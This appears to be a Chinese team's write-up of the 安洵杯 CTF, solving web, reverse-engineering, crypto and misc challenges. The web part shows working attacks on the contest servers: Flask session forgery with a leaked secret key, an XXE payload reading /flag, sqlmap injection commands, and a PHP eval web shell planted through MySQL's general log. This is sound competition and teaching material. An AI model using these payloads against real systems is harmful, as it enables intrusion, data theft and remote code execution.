安洵杯-ukfc-wp

ukfc-wp

Web

CarelessPy

  • 先大概看一下有哪几个功能

                主界面有一个下载文件

                "ctrl+u" 查看源代码发现两个页面 "/eval" 和 "/login"

  • 根据消息头 "Server: Werkzeug/1.0.1 Python/3.11.3"、 "/eval"回显是列表格式等判断是 "python flask", 且 "/eval" 使用了 "os.listdir()"函数,
  • 用主界面下载文件功能下载 "/download?file=../../../flag" 和 "download?file=../app.py" 均被 "杂鱼"
  • 下载 "/download?file=../../../app/__pycache__/part.cpython-311.pyc" 反编译查看 SECRET_KEY 伪造session,

Python
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'

  • 进/login随便输入然后登陆

Shell
# python3 flask_session_cookie_manager3.py encode -s 'o2takuXX_donot_like_ntr' -t "{'islogin': True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I

  • 提示访问 "/th1s_1s_The_L4st_one"
  • 简单的XXE

Shell
GET /th1s_1s_The_L4st_one HTTP/1.1
Host: 47.108.165.60:37034
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I
Connection: close
Content-Length: 157

<?xml version="1.0"?>

<!DOCTYPE GVI [
    <!ENTITY xxe SYSTEM "file:///flag" >
]>

<result>
    <ctf>
杂鱼~</ctf>
    <web>&xxe;</web>
</result>

 

Shell
HTTP/1.0 200 OK
Content-Type: text/xml;charset=UTF-8
Content-Length: 80
Vary: Cookie
Server: Werkzeug/1.0.1 Python/3.11.3
Date: Sat, 10 Jun 2023 11:30:12 GMT

<result><ctf>
杂鱼~</ctf><web>SYCTF{corrEC7_aNswER_c720bd6582bf}</web></result>

Confronting robot

  • 经典单引号

Shell
Warning:  mysqli_fetch_array() expects parameter 1 to be mysqli_result, bool given in /var/www/html/index.php on line 23

  • Sqlmap (别骂了我知道没有灵魂

Shell
sqlmap -u http://47.108.165.60:47293/?myname=1 --dbs --batch
sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data --tables --batch
sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name --columns --batch

Database: robot_data
Table: name
[1 column]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| username | varchar(256) |
+----------+--------------+

Shell
sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name -C username --dump --batch

+-------------------------------------+
| username                            |
+-------------------------------------+
| Hacker                              |
| secret is in /sEcR@t_n@Bodyknow.php |
+-------------------------------------+

  • 访问 "/sEcR@t_n@Bodyknow.php" 发现几个可用页面

                传输 POST 传code

                开始挑战, 跳到game.php, 随便填几个RPS, 发现会跟 NULL 比值

Shell

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Fatal error:  Uncaught TypeError: Argument 2 passed to  loseorwin() must be of the type string, null given, called in  /var/www/html/game.php on line 38 and defined in  /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('R', NULL) #1 {main}   thrown in /var/www/html/game.php on line 11

                不传参也会跟 NULL 比值但是最后一句变无参了

Shell

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Fatal error:  Uncaught TypeError: Argument 2 passed to  loseorwin() must be of the type string, null given, called in  /var/www/html/game.php on line 38 and defined in  /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('', NULL) #1 {main}   thrown in /var/www/html/game.php on line 11

  • Sqlmap 爆code, 步骤就不放了level和risk都不用, 发现 "choice" 和 "round" 均空表, 再结合 "game.php" 会跟NULL 比值报错

                第一种想法是手动填写机器人的参数然后赢十回合得到flag。后经验证没写出来(我太菜了

Shell
Database: game_data
Table: game
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| choice | varchar(256) |
| round  | int(255)     |
+--------+--------------+

Shell
Database: game_data
Table: game
[0 entries]
+--------+
| choice |
+--------+
+--------+

  • 再看 "/sEcR@t_n@Bodyknow.php" 传空参可以得到两个函数 "mysqli_query()" 和 "mysqli_fetch_all()", 试着写马传了一下, 然后sql日志写马

Shell
show global variables like "%general%"

        发现有回显

Shell
rray(2) {   [0]=>   array(2) {     [0]=>     string(11) "general_log"     [1]=>     string(3) "OFF"   }   [1]=>   array(2) {     [0]=>     string(16) "general_log_file"     [1]=>     string(39) "web-pursue0h-robot-5754af205ee949e0.log"   } }        

  • 继续传发现 secure_file_priv 为空

Shell
show global variables like '%secure%'

Shell
array(3) {   [0]=>   array(2) {     [0]=>     string(11) "secure_auth"     [1]=>     string(2) "ON"   }   [1]=>   array(2) {     [0]=>     string(16) "secure_file_priv"     [1]=>     string(0) ""   }   [2]=>   array(2) {     [0]=>     string(16) "secure_timestamp"     [1]=>     string(2) "NO"   } }

  • 试着写马

Shell
set global general_log='on'
set global general_log_file='/var/www/html/shell.php'
select '<?php eval($_REQUEST['cmd']);?>'

        访问 shell.php 发现Access denied , 试了好几个网页都不行, 那就写在 "/sEcR@t_n@Bodyknow.php" 里

Shell
set global general_log_file='/var/www/html//sEcR@t_n@Bodyknow.php'
select '<?php eval($_REQUEST['cmd']);?>'

        访问成功,蚁剑链接之后根目录没找见, 想起来 "game.php"

Shell
if(isset($_GET['round1'])){
    if($count==10){
        echo "SYCTF{r06oT_rOboT_2ae2985843f4}";
    }
    else{
        echo "
你输了";
    }
}

Reverse

ez_cpp

  • 去花指令,main函数:

  • 逆着看:v14中存放的是密文,先爆破最后比较时的flag:

C++
 int sub_181177(int a1,int a2)
{
    int v2; // edx
    int v3; // edi
    int v4; // ebx

    v2 = 0;
    v3 = 0;
    if (a2 > 0)
    {
        v4 = a2 - 1;
        do
            v2 |= ((a1 >> v3++) & 1) << v4--;
        while (v3 < a2);
    }
    return v2 + 1;
}

 unsigned char miwen[] =
    {
      0x22,  0xA2,  0x72, 0xE6,
      0x52,  0x8C,  0xF2, 0xD4,
      0xA6,  0x0A,  0x3C, 0x24,
      0xA6,  0x9C,  0x86, 0x24,
      0x42,  0xD4,  0x22, 0xB6,
      0x14,  0x42,  0xCE, 0xAC,
      0x14,  0x6A,  0x2C, 0x7C,
      0xE4,  0xE4,  0xE4, 0x1E,
    };
    for (int i = 0; i < 32; i++)
    {
        for (int j = 32; j < 128; j++)
        {
            if ((1 ^ sub_181177(j, 8)) == miwen[i])
            {
                printf("%c", j);//DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x
            }
        }
    }

  • 动调:这个flag经过两次加密,v19和v20对应的是加密函数的地址,(按g)。
  • v20:去花,动调取出v6数组的值,写逆解密:

C++
char miwen2[] = "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x";
    int v6[32] = { 0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0 };
    int v4 = 0;
    for (int i = 0; i < 32; i++)
    {

        if (v4 <= 16)
        {
            if (v4 >= 16)
            {
                miwen2[v4] ^= 4u;
            }
            else
            {
                int result = v6[v4];
                if (result)
                {
                    if (!--result)
                        miwen2[v4] ^= 9u;
                }
                else
                {
                    miwen2[v4] += 2;
                }
            }
        }
        else
        {
            int result = v6[v4];
            if (result)
            {
                if (!--result)
                    miwen2[v4] ^= 6u;
            }
            else
            {
                miwen2[v4] += 5;
            }
        }
        ++v4;
    }
    for (int i = 0; i < 32; i++)
    {
        printf("%c", miwen2[i]);//FLPnL3F-lR5-l0h-F0Ir-Gu3-P9C!!!}
    }

v19:去花,将字母往后移13位,多出26的重头开始。

SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}

babythread

  • TLS回调函数一个反调试,一个静态读取str20位

C++
 __CheckForDebuggerJustMyCode(&unk_F7D0F4);
  result = j_debugg();
  if ( result )
    sub_F7133E(1u);
  return result;

C++
int __stdcall TlsCallback_1_0(int a1, int a2, int a3)    //real key create
{
  FILE *Stream; // [esp+D0h] [ebp-8h]

  __CheckForDebuggerJustMyCode(&unk_F7D0F4);
  Stream = fopen("babyThread.exe", "rb");
  if ( !Stream )
    j_printf_0("Failed to open file %s\n", "babyThread.exe");
  fseek(Stream, 77, 0);
  fread(Str, 1u, 20u, Stream);
  return fclose(Stream);
}

  • 主逻辑的key生成函数会将str截断为16位,不过不重要,直接把密文cv到输入里调过去

将输入修改为密文,动调到rc4异或位置提取明文即可

SYC{Th1s_is_@_EasY_3ncryptO!!!!}

3D_maze

一个6*10*10的三维迷宫,层穿梭是0124350,只有到达边界才能穿层,所以才有唯一解

为了让自己的努力显得有作用一点,贴一个没写明白的dfs,最后手推了一个小时

Crypto

signin

  • Sage 连分数 求解data1、data2

Python
#sage exp
data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
print(c)
 
alist = c.convergents()
print(alist)
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) :
            print(a)

#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']

  • 求解p-q

Python
import gmpy2
data1 =97093002077798295469816641595207740909547364338742117628537014186754830773717
data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769
phi = (data1-1) * (data2-1)
d = gmpy2.invert(data1,phi)
c = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
m = pow(c,d ,data1 * data2)
print(m)

  • z3求解pq

Python
from z3 import *
q = Real('q')
p = Real('p')
s = Solver()
s.add(p-q == 57684649402353527014234479338961992571416462151551812296301705975419997474236)
s.add(p*q == 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517)
print(s.check())
print(s.model())

  • 求解明文

Python
from Crypto.Util.number import *
import gmpy2
q = 89050782851818876669770322556796705712770640993210984822169118425068336611139
p = 31366133449465349655535843217834713141354178841659172525867412449648339136903
n = p*q
phi = (q-1) * (p-1)
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769
m -= data2
print(long_to_bytes(m))

SYC{a00338c150aa3a5163dbf404100e6754}

Alexei needs help

  • 求解ans

Python
import gmpy2 as gp
import sys
sys.setrecursionlimit(100000000)

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
def seqsum(i):
    ans = 0
    for j in range(len(seq)):
       ans += gp.powmod(i,j,m)*seq[j]
    return ans
w1 = 1
w2 = 1
for i in range(3,2024):
    temp = (a * w2 + b * w1 + seqsum(i)) % m
    w1 = w2
    w2 = temp
    print(i,temp)

  • aes解密

Python
from Crypto.Cipher import AES
from hashlib import md5
from binascii import *


ans = 5163247493229942514529178232067746640236155241995928925465164064900096952872519999937852442623769142690077270244871565985743169621852048447822749270628879
k = unhexlify(md5(str(ans).encode()).hexdigest())
m = b'37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'


w = unhexlify(m)

aes = AES.new(k, AES.MODE_ECB)
res = aes.decrypt(w)
print(res)

SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b}

Misc

sudoku_easy

  • 直接交互的一个数独,直接写脚本cv

Python
def solve_sudoku(board):
    row, col = find_empty_cell(board)
    if row is None:
        return True  #
数独已经解决
    for num in range(1, 10):
        if is_valid_move(board, row, col, num):
            board[row][col] = num
            if solve_sudoku(board):
                return True
            board[row][col] = 0  # 回溯
    return False

def find_empty_cell(board):
    for i in range(9):
        for j in range(9):
            if board[i][j] == 0:
                return i, j
    return None, None

def is_valid_move(board, row, col, num):

    for i in range(9):
        if board[row][i] == num or board[i][col] == num:
            return False
    box_row = (row // 3) * 3
    box_col = (col // 3) * 3
    for i in range(box_row, box_row + 3):
        for j in range(box_col, box_col + 3):
            if board[i][j] == num:
                return False
    return True

sudoku_str = "000206000090000701386417002000070023900601540175304800019760005003000000807500214"
board = [[int(sudoku_str[i*9+j]) for j in range(9)] for i in range(9)]

if solve_sudoku(board):
    for row in board:
        for i in row:
            print(i,end='')
        print()
else:
    print("None")

SYCTF{e4sY_c77e1acb8238_sUD0KUKUku}

烦人的压缩包

  • 使用工具爆破压缩包密码

  • 得到的图片用binwalk分解

  • 得到损坏的压缩包,修改

  • 解压得到的密文进行解密

SYC{Yxx_Say_Thank3Q_v3ry_much}

sudoku_speedrun

  • 和上面的数独题一样,不过只能写交互,pwn手直接秒了

C++
from pwn import *
from ctypes import *
io.recvuntil(b'> ')
i = str('1')
io.sendline(i.encode())
io.recvuntil(b'> ')
i = str('7')
io.sendline(i.encode())
mp=[]
io.recvuntil(b'7\r\n')
for j in range(9):
    if j%3==0:
        io.recvline()
    tmp=[]
    st=io.recvline()
    print('len:',hex(len(st)))
    for i in range(len(st)):
        if i==0:
            continue
        if st[i-1]==0x20 and st[i+1]==0x20:
            if chr(st[i])!='|':
                tmp.append(st[i]-0x30)
        if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d:
            tmp.append(0)
    print(tmp)
    mp.append(tmp)

  • 使用列表读入,由于字符较多所以得手动实现,写个判断某字符若两侧字符都为空格则该数字为数独上的数。
    观察发现有很多的32m0,数一下得出结论,出现一次则有一个需要填数的地方。完成读入后输出检查。
  • 暴搜细节

C++
def isvalid(i,j):
    for m in range(9):
        if m!=i and mp[m][j]==mp[i][j]:
            return False
    for n in range(9):
        if n!=j and mp[i][n]==mp[i][j]:
            return False
    for m in range(i//3*3,i//3*3+3):
        for n in range(j//3*3,j//3*3+3):
            if m!=i and mp[m][n]==mp[i][j]:
                return False
    return True

def f(a,b):
    for i in range(a,9):
        for j in range(b,9):
            if mp[i][j]==0:
                for c in [1,2,3,4,5,6,7,8,9]:
                    mp[i][j]=c
                    if isvalid(i,j):
                        if f(a,b):
                            return True
                        else:
                            mp[i][j]=0
                    else:
                        mp[i][j]=0
                return False
    return True

f(0,0)
#
利用深度优先搜索和合法判断函数,复杂度很高但是数独很小,肯定可以在限制时间内过掉。
发送细节:
for i in range(9):
    print(mp[i])

for i in range(0,9):
    for j in range(0,9):
        io.send(chr(mp[i][j]+0x30))
        io.send('d')
    io.send('s')

  • 完整exp

Python
from pwn import *
context(log_level='debug')

io=remote('47.108.165.60',31570)
io.recvuntil(b'> ')
i = str('1')
io.sendline(i.encode())
io.recvuntil(b'> ')
i = str('7')
io.sendline(i.encode())
mp=[]
io.recvuntil(b'7\r\n')
for j in range(9):
    if j%3==0:
        io.recvline()
    tmp=[]
    st=io.recvline()
    print('len:',hex(len(st)))
    for i in range(len(st)):
        if i==0:
            continue
        if st[i-1]==0x20 and st[i+1]==0x20:
            if chr(st[i])!='|':
                tmp.append(st[i]-0x30)
        if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d:
            tmp.append(0)
    print(tmp)
    mp.append(tmp)

def isvalid(i,j):
    for m in range(9):
        if m!=i and mp[m][j]==mp[i][j]:
            return False
    for n in range(9):
        if n!=j and mp[i][n]==mp[i][j]:
            return False
    for m in range(i//3*3,i//3*3+3):
        for n in range(j//3*3,j//3*3+3):
            if m!=i and mp[m][n]==mp[i][j]:
                return False
    return True

def f(a,b):
    for i in range(a,9):
        for j in range(b,9):
            if mp[i][j]==0:
                for c in [1,2,3,4,5,6,7,8,9]:
                    mp[i][j]=c
                    if isvalid(i,j):
                        if f(a,b):
                            return True
                        else:
                            mp[i][j]=0
                    else:
                        mp[i][j]=0
                return False
    return True

f(0,0)

for i in range(9):
    print(mp[i])

for i in range(0,9):
    for j in range(0,9):
        io.send(chr(mp[i][j]+0x30))
        io.send('d')
    io.send('s')

io.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值